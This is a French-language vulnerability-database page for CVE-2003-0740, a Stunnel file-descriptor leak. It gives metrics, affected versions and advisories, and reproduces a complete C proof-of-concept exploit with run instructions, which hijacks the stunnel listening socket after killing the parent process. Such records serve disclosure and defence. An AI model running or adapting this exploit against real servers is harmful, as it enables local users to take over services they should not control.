CVE-2003-0740 : Détail

CVE-2003-0740

0.04%V3
Local
2003-09-04
02h00 +00:00
2016-10-17
11h57 +00:00
CVE.org
NVD
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Descriptions du CVE

Stunnel 4.00, and 3.24 and earlier, leaks a privileged file descriptor returned by listen(), which allows local users to hijack the Stunnel server.

Informations du CVE

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 4.6 AV:L/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 91

Date de publication : 2003-09-04 22h00 +00:00
Auteur : Steve Grubb
EDB Vérifié : Yes

/* By Steve Grubb : The technique is simple. * * 1) Fork so that stunnel can't find you when it dies. * 2) Send stunnel a SIGUSR2. Unhandled signals generally * kill programs. Since you are a child of stunnel, the OS * will deliver the signal. * 3) Select on the leaked descriptor and start serving pages. * * At the end of this advisory is a proof-of-concept * program that you can run under Stunnel. It is assumed * that Stunnel is providing you shell-like access (Telnet * over SSL, for example), or that the program lauched via * Stunnel has some exploitable condition that allows you * to run arbitrary code. * * To run the POC code, you can execute it directly as the * local program (-l argument) for Stunnel : * * /usr/sbin/stunnel -s nobody -g nobody -D 7 -p * /etc/ssl/certs/stunnel.pem -o /tmp/stunnel.log -P * /tmp/stunnel.pid -d 2222 -l * /opt/stunnel-sploit/leak-sploit -- leak-sploit * * Then connect to stunnel like: lynx https://localhost:2222 * * The first time, you will get a message saying * "Unexpected network read error" followed by "Document * can't be accessed". Then connect again. The second * time, you will see the "You're owned" message. Doing a * ps -ef shows that stunnel is long gone and replaced by * the example application...even though user & group were * nobody. Sure its a bit contrived, but illustrates the concept. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <signal.h> #include <errno.h> #include <sys/select.h> #include <netinet/in.h> #include <openssl/ssl.h> /* * The basic scheme goes like this: * 1) Get rid of the parent * 2) init the openssl library * 3) start handling requests */ /* You may need to adjust these next 3 items */ #define LISTEN_DESCRIPTOR 6 #define CERTF "/opt/stunnel-sploit/foo-cert.pem" #define KEYF "/opt/stunnel-sploit/foo-cert.pem" static SSL_CTX *ctx; static SSL *ssl; static X509 *client_cert; static SSL_METHOD *meth; static void server_loop(int descr); static void ssl_init(void); int main(int argc, char *argv[]) { int pid = getppid(); /* Need to fork so stunnel doesn't kill us */ if (fork() == 0) { /* Become session leader */ setsid(); /* Goodbye - thanks for the descriptor */ kill(pid, SIGUSR2); close(0); close(1); close(2); ssl_init(); server_loop(LISTEN_DESCRIPTOR); } return 0; } static void server_loop(int descr) { struct timeval tv; fd_set read_mask ; FD_SET(descr, &read_mask); for (;;) { struct sockaddr_in remote; socklen_t len = sizeof(remote); int fd; if (select(descr+1, &read_mask, NULL, NULL, 0 ) == -1) continue; fd = accept(descr, &remote, &len); if (fd >=0) { char obuf[4096]; if ((ssl = SSL_new (ctx)) != NULL) { SSL_set_fd (ssl, fd); SSL_set_accept_state(ssl); if ((SSL_accept (ssl)) == -1) exit(1); strcpy(obuf, "HTTP/1.0 200 OK\n"); strcat(obuf, "Content-Length: 40\n"); strcat(obuf, "Content-Type: text/html\n\n"); strcat(obuf, "<html><body>You're owned!</body></html>"); SSL_write (ssl, obuf, strlen(obuf)); SSL_set_shutdown(ssl, SSL_SENT_SHUTDOWN|SSL_RECEIVED_SHUTDOWN); SSL_free (ssl); ERR_remove_state(0); } close(fd); } } SSL_CTX_free (ctx); /* Never gets called */ } static void ssl_init(void) { SSL_load_error_strings(); SSLeay_add_ssl_algorithms(); meth = SSLv23_server_method(); ctx = SSL_CTX_new (meth); if (!ctx) exit(1); if (SSL_CTX_use_certificate_file(ctx, CERTF, SSL_FILETYPE_PEM) <= 0) exit(1); if (SSL_CTX_use_PrivateKey_file(ctx, KEYF, SSL_FILETYPE_PEM) <= 0) exit(1); if (!SSL_CTX_check_private_key(ctx)) exit(1); } // milw0rm.com [2003-09-05]

Products Mentioned

Configuraton 0

Stunnel>>Stunnel >> Version 3.3

Stunnel>>Stunnel >> Version 3.4a

Stunnel>>Stunnel >> Version 3.7

Stunnel>>Stunnel >> Version 3.8

Stunnel>>Stunnel >> Version 3.9

Stunnel>>Stunnel >> Version 3.10

Stunnel>>Stunnel >> Version 3.11

Stunnel>>Stunnel >> Version 3.12

Stunnel>>Stunnel >> Version 3.13

Stunnel>>Stunnel >> Version 3.14

Stunnel>>Stunnel >> Version 3.15

Stunnel>>Stunnel >> Version 3.16

Stunnel>>Stunnel >> Version 3.17

Stunnel>>Stunnel >> Version 3.18

Stunnel>>Stunnel >> Version 3.19

Stunnel>>Stunnel >> Version 3.20

Stunnel>>Stunnel >> Version 3.21

Stunnel>>Stunnel >> Version 3.21a

Stunnel>>Stunnel >> Version 3.21b

Stunnel>>Stunnel >> Version 3.21c

Stunnel>>Stunnel >> Version 3.22

Stunnel>>Stunnel >> Version 3.24

Stunnel>>Stunnel >> Version 4.0

Références

http://marc.info/?l=bugtraq&m=106260760211958&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000736
Tags : vendor-advisory, x_refsource_CONECTIVA
http://www.mandriva.com/security/advisories?name=MDKSA-2003:108
Tags : vendor-advisory, x_refsource_MANDRAKE
http://www.redhat.com/support/errata/RHSA-2003-297.html
Tags : vendor-advisory, x_refsource_REDHAT